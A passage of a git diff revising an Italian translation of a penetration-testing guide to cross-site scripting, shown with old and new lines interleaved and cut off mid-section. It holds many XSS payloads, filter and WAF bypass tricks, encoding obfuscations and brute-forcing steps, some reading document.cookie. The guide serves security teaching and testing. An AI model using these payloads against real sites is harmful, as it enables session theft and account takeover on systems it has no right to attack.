Puoi anche provare a **attivare le funzioni Javascript** direttamente: `obj.sales.delOrders`.
|
||||||
|
|
||||||
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
|
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un DOM **più interessante** per eseguire più azioni.
|
||||||
|
|
||||||
Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
|
Pertanto, per **abusare di questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
|
||||||
|
|
||||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||||
|
@ -130,7 +130,7 @@ Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata svi
|
||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
|
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe abusarne per eseguire codice JS arbitrario.
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
|
@ -138,7 +138,7 @@ C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati
|
||||||
|
|
||||||
### **Universal XSS**
|
### **Universal XSS**
|
||||||
|
|
||||||
Questo tipo di XSS può essere trovato **ovunque**. Non dipendono solo dall'exploit del client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **esecuzione arbitraria di JavaScript** può persino essere abusato per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
|
Questo tipo di XSS può essere trovato **ovunque**. Non dipendono solo dall'exploit del client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **esecuzione arbitraria di JavaScript** può persino essere abusato per ottenere **RCE**, **leggere** **file arbitrari** nei client e nei server, e altro ancora.\
|
||||||
Alcuni **esempi**:
|
Alcuni **esempi**:
|
||||||
|
|
||||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||||
|
@ -165,22 +165,22 @@ In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potrest
|
||||||
<img src=x onerror=alert(1) />
|
<img src=x onerror=alert(1) />
|
||||||
<svg onload=alert('XSS')>
|
<svg onload=alert('XSS')>
|
||||||
```
|
```
|
||||||
Ma, se viene utilizzato il blacklisting/whitelisting dei tag/attributi, sarà necessario **forzare quali tag** è possibile creare.\
|
Ma, se viene utilizzato il filtraggio dei tag/attributi black/whitelist, sarà necessario **forzare a tentativi quali tag** è possibile creare.\
|
||||||
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gli attributi/eventi** all'interno dei tag validi trovati per capire come attaccare il contesto.
|
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare a tentativi attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
|
||||||
|
|
||||||
### Forzatura dei tag/eventi
|
### Forzare a tentativi tag/eventi
|
||||||
|
|
||||||
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia i tag negli appunti**_. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia gli eventi negli appunti**_ e segui la stessa procedura come prima).
|
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare a tentativi tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura come prima).
|
||||||
|
|
||||||
### Tag personalizzati
|
### Tag personalizzati
|
||||||
|
|
||||||
Se non hai trovato alcun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
|
Se non hai trovato nessun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
|
||||||
```
|
```
|
||||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||||
```
|
```
|
||||||
### Bypass delle liste nere
|
### Blacklist Bypasses
|
||||||
|
|
||||||
Se viene utilizzata qualche tipo di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
|
Se viene utilizzata una sorta di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
|
||||||
```javascript
|
```javascript
|
||||||
//Random capitalization
|
//Random capitalization
|
||||||
<script> --> <ScrIpT>
|
<script> --> <ScrIpT>
|
||||||
|
@ -240,24 +240,20 @@ onerror=alert`1`
|
||||||
<script src=//aa.es>
|
<script src=//aa.es>
|
||||||
<script src=//℡㏛.pw>
|
<script src=//℡㏛.pw>
|
||||||
```
|
```
|
||||||
L'ultimo consiste nell'utilizzare 2 caratteri unicode che si espandono a 5: telsr\
|
|
||||||
Altri di questi caratteri possono essere trovati [qui](https://www.unicode.org/charts/normalization/).\
|
|
||||||
Per verificare in quali caratteri sono decomposti controlla [qui](https://www.compart.com/en/unicode/U+2121).
|
|
||||||
|
|
||||||
### Click XSS - Clickjacking
|
### Click XSS - Clickjacking
|
||||||
|
|
||||||
Se per sfruttare la vulnerabilità è necessario che **l'utente faccia clic su un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
Se per sfruttare la vulnerabilità è necessario che **l'utente faccia clic su un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||||
|
|
||||||
### Impossibile - Dangling Markup
|
### Impossibile - Dangling Markup
|
||||||
|
|
||||||
Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
|
Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) perché potresti **sfruttare** la vulnerabilità **senza** eseguire **codice JS**.
|
||||||
|
|
||||||
## Iniezione all'interno del tag HTML
|
## Iniezione all'interno del tag HTML
|
||||||
|
|
||||||
### All'interno del tag/fuga dal valore dell'attributo
|
### All'interno del tag/fuga dal valore dell'attributo
|
||||||
|
|
||||||
Se ti trovi **all'interno di un tag HTML**, la prima cosa che potresti provare è **fuggire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
|
Se ti trovi **all'interno di un tag HTML**, la prima cosa che potresti provare è **fuggire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
|
||||||
Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, ad esempio utilizzando un payload come (_nota che in questo esempio i doppi apici vengono utilizzati per fuggire dall'attributo, non ne avrai bisogno se il tuo input viene riflessi direttamente all'interno del tag_):
|
Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, ad esempio utilizzando un payload come (_nota che in questo esempio vengono utilizzate virgolette doppie per fuggire dall'attributo, non ne avrai bisogno se il tuo input viene riflessi direttamente all'interno del tag_):
|
||||||
```bash
|
```bash
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||||
|
@ -274,12 +270,12 @@ Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del
|
||||||
```
|
```
|
||||||
### All'interno dell'attributo
|
### All'interno dell'attributo
|
||||||
|
|
||||||
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto se **controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
|
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
|
||||||
Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire del codice arbitrario: **`href="javascript:alert(1)"`**
|
Un altro interessante **esempio** è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire del codice arbitrario: **`href="javascript:alert(1)"`**
|
||||||
|
|
||||||
**Bypass all'interno dell'evento usando la codifica HTML/codifica URL**
|
**Bypass all'interno dell'evento usando la codifica HTML/codifica URL**
|
||||||
|
|
||||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Quindi qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
||||||
|
|
||||||
Nota che **qualsiasi tipo di codifica HTML è valida**:
|
Nota che **qualsiasi tipo di codifica HTML è valida**:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -298,7 +294,7 @@ Nota che **qualsiasi tipo di codifica HTML è valida**:
|
||||||
<a href="javascript:alert(2)">a</a>
|
<a href="javascript:alert(2)">a</a>
|
||||||
<a href="javascript:alert(3)">a</a>
|
<a href="javascript:alert(3)">a</a>
|
||||||
```
|
```
|
||||||
**Si noti che anche l'encoding dell'URL funzionerà:**
|
**Si noti che la codifica URL funzionerà anche:**
|
||||||
```python
|
```python
|
||||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||||
```
|
```
|
||||||
|
@ -354,7 +350,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||||
```
|
```
|
||||||
**Altri trucchi di offuscamento**
|
**Altri trucchi di offuscamento**
|
||||||
|
|
||||||
_**In questo caso, la codifica HTML e il trucco della codifica Unicode della sezione precedente sono validi poiché ti trovi all'interno di un attributo.**_
|
_**In questo caso, l'encoding HTML e il trucco di encoding Unicode della sezione precedente sono validi poiché ti trovi all'interno di un attributo.**_
|
||||||
```javascript
|
```javascript
|
||||||
<a href="javascript:var a=''-alert(1)-''">
|
<a href="javascript:var a=''-alert(1)-''">
|
||||||
```
|
```
|
||||||
|
@ -366,9 +362,9 @@ Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input a
|
||||||
```
|
```
|
||||||
Nota che se provi a **usare entrambi** `URLencode + HTMLencode` in qualsiasi ordine per codificare il **payload** non **funzionerà**, ma puoi **mescolarli all'interno del payload**.
|
Nota che se provi a **usare entrambi** `URLencode + HTMLencode` in qualsiasi ordine per codificare il **payload** non **funzionerà**, ma puoi **mescolarli all'interno del payload**.
|
||||||
|
|
||||||
**Utilizzando l'encode esadecimale e ottale con `javascript:`**
|
**Utilizzo di codifica esadecimale e ottale con `javascript:`**
|
||||||
|
|
||||||
Puoi utilizzare l'**encode esadecimale** e **ottale** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**:
|
Puoi utilizzare la codifica **esadecimale** e **ottale** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**:
|
||||||
```javascript
|
```javascript
|
||||||
//Encoded: <svg onload=alert(1)>
|
//Encoded: <svg onload=alert(1)>
|
||||||
// This WORKS
|
// This WORKS
|
||||||
|
@ -380,7 +376,7 @@ Puoi utilizzare l'**encode esadecimale** e **ottale** all'interno dell'attributo
|
||||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||||
```
|
```
|
||||||
### Reverse tab nabbing
|
### Furto di schede invertito
|
||||||
```javascript
|
```javascript
|
||||||
<a target="_blank" rel="opener"
|
<a target="_blank" rel="opener"
|
||||||
```
|
```
|
||||||
|
@ -392,7 +388,7 @@ Se puoi iniettare un URL in un tag **`<a href=`** arbitrario che contiene gli at
|
||||||
|
|
||||||
### Bypass sugli Event Handlers
|
### Bypass sugli Event Handlers
|
||||||
|
|
||||||
Prima di tutto controlla questa pagina ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) per utili **event handlers "on"**.\
|
Innanzitutto controlla questa pagina ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) per utili **event handlers "on"**.\
|
||||||
Nel caso ci sia una blacklist che impedisce di creare questi event handlers, puoi provare i seguenti bypass:
|
Nel caso ci sia una blacklist che impedisce di creare questi event handlers, puoi provare i seguenti bypass:
|
||||||
```javascript
|
```javascript
|
||||||
<svg onload%09=alert(1)> //No safari
|
<svg onload%09=alert(1)> //No safari
|
||||||
|
@ -429,9 +425,9 @@ Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): È po
|
||||||
```
|
```
|
||||||
**Il payload XSS sarà qualcosa del genere: `" accesskey="x" onclick="alert(1)" x="`**
|
**Il payload XSS sarà qualcosa del genere: `" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
### Blacklist Bypasses
|
### Bypass della blacklist
|
||||||
|
|
||||||
Sono già state esposte diverse tecniche che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
|
Sono stati già esposti diversi trucchi che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
|
||||||
|
|
||||||
* **Codifica HTML (tag HTML)**
|
* **Codifica HTML (tag HTML)**
|
||||||
* **Codifica Unicode (può essere codice JS valido):** `\u0061lert(1)`
|
* **Codifica Unicode (può essere codice JS valido):** `\u0061lert(1)`
|
||||||
|
@ -449,7 +445,7 @@ Leggi i [Bypass della blacklist di JavaScript della sezione successiva](./#javas
|
||||||
|
|
||||||
### CSS-Gadgets
|
### CSS-Gadgets
|
||||||
|
|
||||||
Se trovi un **XSS in una parte molto piccola** del web che richiede un certo tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità che il link venga attivato.
|
Se trovi un **XSS in una parte molto piccola** del web che richiede un certo tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità di far scattare il link.
|
||||||
|
|
||||||
Ad esempio, potresti aggiungere dello stile all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
Ad esempio, potresti aggiungere dello stile all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||||
|
|
||||||
|
@ -471,13 +467,13 @@ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-imp
|
||||||
|
|
||||||
In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||||
|
|
||||||
### Escaping del tag \<script>
|
### Escape del tag \<script>
|
||||||
|
|
||||||
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati riflessi' [...] </script>` potresti facilmente **escapare chiudendo il tag `<script>`**:
|
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'reflected data' [...] </script>` potresti facilmente **evitare la chiusura del tag `<script>`**:
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché il **parsing HTML viene eseguito prima dal browser**, il quale si occupa di identificare gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
|
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché il **parsing HTML viene eseguito prima dal browser**, il quale identifica gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
|
||||||
|
|
||||||
### All'interno del codice JS
|
### All'interno del codice JS
|
||||||
|
|
||||||
|
@ -487,10 +483,10 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
|
||||||
';alert(document.domain)//
|
';alert(document.domain)//
|
||||||
\';alert(document.domain)//
|
\';alert(document.domain)//
|
||||||
```
|
```
|
||||||
### Template literals \`\`
|
### Template letterali \`\`
|
||||||
|
|
||||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche gli **accenti gravi** **` `` `**. Questo è noto come template letterali poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza gli accenti gravi, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||||
|
|
||||||
Questo può essere **abusato** utilizzando:
|
Questo può essere **abusato** utilizzando:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -516,7 +512,7 @@ loop``````````````
|
||||||
\u0061lert(1)
|
\u0061lert(1)
|
||||||
\u{0061}lert(1)
|
\u{0061}lert(1)
|
||||||
```
|
```
|
||||||
### Tecniche di bypass delle blacklist di JavaScript
|
### Tecniche di bypass JavaScript delle blacklist
|
||||||
|
|
||||||
**Stringhe**
|
**Stringhe**
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -549,7 +545,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||||
'\t' //tab
|
'\t' //tab
|
||||||
// Any other char escaped is just itself
|
// Any other char escaped is just itself
|
||||||
```
|
```
|
||||||
**Sostituzioni di spazi all'interno del codice JS**
|
**Sostituzioni degli spazi all'interno del codice JS**
|
||||||
```javascript
|
```javascript
|
||||||
<TAB>
|
<TAB>
|
||||||
/**/
|
/**/
|
||||||
|
@ -562,7 +558,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||||
```
|
```
|
||||||
**Nuove righe JavaScript (dal** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines)**)**
|
**Nuove righe JavaScript (dal** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines) **)**
|
||||||
```javascript
|
```javascript
|
||||||
//Javascript interpret as new line these chars:
|
//Javascript interpret as new line these chars:
|
||||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||||
|
@ -732,23 +728,23 @@ top['al\x65rt'](1)
|
||||||
top[8680439..toString(30)](1)
|
top[8680439..toString(30)](1)
|
||||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||||
````
|
````
|
||||||
## **Vulnerabilità DOM**
|
## **Vulnerabilità del DOM**
|
||||||
|
|
||||||
C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire del codice JS arbitrario.\
|
C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.\
|
||||||
**A causa dell'estensione della spiegazione delle** [**vulnerabilità DOM è stata spostata su questa pagina**](dom-xss.md)**:**
|
**A causa dell'estensione della spiegazione delle** [**vulnerabilità del DOM è stata spostata su questa pagina**](dom-xss.md)**:**
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Lì troverai una **spiegazione dettagliata su cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle**.\
|
Lì troverai una **spiegazione dettagliata su cosa sono le vulnerabilità del DOM, come vengono provocate e come sfruttarle**.\
|
||||||
Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**attacchi di DOM Clobbering**](dom-xss.md#dom-clobbering).
|
Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**attacchi di DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||||
|
|
||||||
## Altri Bypass
|
## Altri Bypass
|
||||||
|
|
||||||
### Unicode Normalizzato
|
### Unicode Normalizzato
|
||||||
|
|
||||||
Potresti verificare se i **valori riflessi** vengono **normalizzati in Unicode** sul server (o sul lato client) e sfruttare questa funzionalità per aggirare le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
|
Potresti verificare se i **valori riflessi** vengono **normalizzati in Unicode** sul server (o sul lato client) e sfruttare questa funzionalità per eludere le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
|
||||||
|
|
||||||
### Bypass del flag PHP FILTER\_VALIDATE\_EMAIL
|
### Bypass del flag PHP FILTER\_VALIDATE\_EMAIL
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -767,7 +763,7 @@ La coppia "Chiave","Valore" verrà ripetuta così:
|
||||||
```
|
```
|
||||||
### Combinazioni speciali
|
### Combinazioni speciali
|
||||||
|
|
||||||
Successivamente, verrà inserito l'attributo onfocus e si verificherà XSS.
|
Successivamente, l'attributo onfocus verrà inserito e si verificherà XSS.
|
||||||
```markup
|
```markup
|
||||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||||
<input type=image src onerror="prompt(1)">
|
<input type=image src onerror="prompt(1)">
|
||||||
|
@ -799,7 +795,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||||
```
|
```
|
||||||
### XSS con iniezione di header in una risposta 302
|
### XSS con iniezione di header in una risposta 302
|
||||||
|
|
||||||
Se trovi che puoi **iniettare header in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è banale poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di cross-site scripting è inutile.
|
Se scopri che puoi **iniettare header in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di scripting tra siti è inutile.
|
||||||
|
|
||||||
In [**questo rapporto**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'header Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
|
In [**questo rapporto**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'header Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
|
||||||
Protocolli noti: `mailto://`, `//x:1/`, `ws://`, `wss://`, _header Location vuoto_, `resource://`.
|
Protocolli noti: `mailto://`, `//x:1/`, `ws://`, `wss://`, _header Location vuoto_, `resource://`.
|
||||||
|
@ -810,11 +806,11 @@ Se sei in grado di indicare il **callback** che JavaScript sta per **eseguire**
|
||||||
|
|
||||||
### Tipi di contenuto `<script>` validi per XSS
|
### Tipi di contenuto `<script>` validi per XSS
|
||||||
|
|
||||||
(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Se provi a caricare uno script con un **content-type** come `application/octet-stream`, Chrome restituirà il seguente errore:
|
(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Se provi a caricare uno script con un **tipo di contenuto** come `application/octet-stream`, Chrome restituirà il seguente errore:
|
||||||
|
|
||||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') perché il suo tipo MIME (‘application/octet-stream’) non è eseguibile e il controllo rigoroso del tipo MIME è abilitato.
|
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') perché il suo tipo MIME (‘application/octet-stream’) non è eseguibile e il controllo rigoroso del tipo MIME è abilitato.
|
||||||
|
|
||||||
Gli unici **Content-Type** che supportano Chrome per eseguire uno **script caricato** sono quelli all'interno della costante **`kSupportedJavascriptTypes`** da [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
Gli unici **tipi di contenuto** che supportano Chrome per eseguire uno **script caricato** sono quelli all'interno della costante **`kSupportedJavascriptTypes`** da [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||||
```c
|
```c
|
||||||
const char* const kSupportedJavascriptTypes[] = {
|
const char* const kSupportedJavascriptTypes[] = {
|
||||||
"application/ecmascript",
|
"application/ecmascript",
|
||||||
|
@ -872,7 +868,7 @@ import moment from "moment";
|
||||||
import { partition } from "lodash";
|
import { partition } from "lodash";
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Questo comportamento è stato utilizzato in [**questo articolo**](https://github.com/zwade/yaca/tree/master/solution) per riassegnare una libreria a eval per abusarne e innescare XSS.
|
Questo comportamento è stato utilizzato in [**questo articolo**](https://github.com/zwade/yaca/tree/master/solution) per riassegnare una libreria a eval per abusarne e scatenare XSS.
|
||||||
|
|
||||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità serve principalmente per risolvere alcuni problemi causati dal prerendering. Funziona in questo modo:
|
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità serve principalmente per risolvere alcuni problemi causati dal prerendering. Funziona in questo modo:
|
||||||
```html
|
```html
|
||||||
|
@ -917,7 +913,7 @@ Se la pagina restituisce un tipo di contenuto text/xml, è possibile indicare un
|
||||||
```
|
```
|
||||||
### Modelli di Sostituzione Speciali
|
### Modelli di Sostituzione Speciali
|
||||||
|
|
||||||
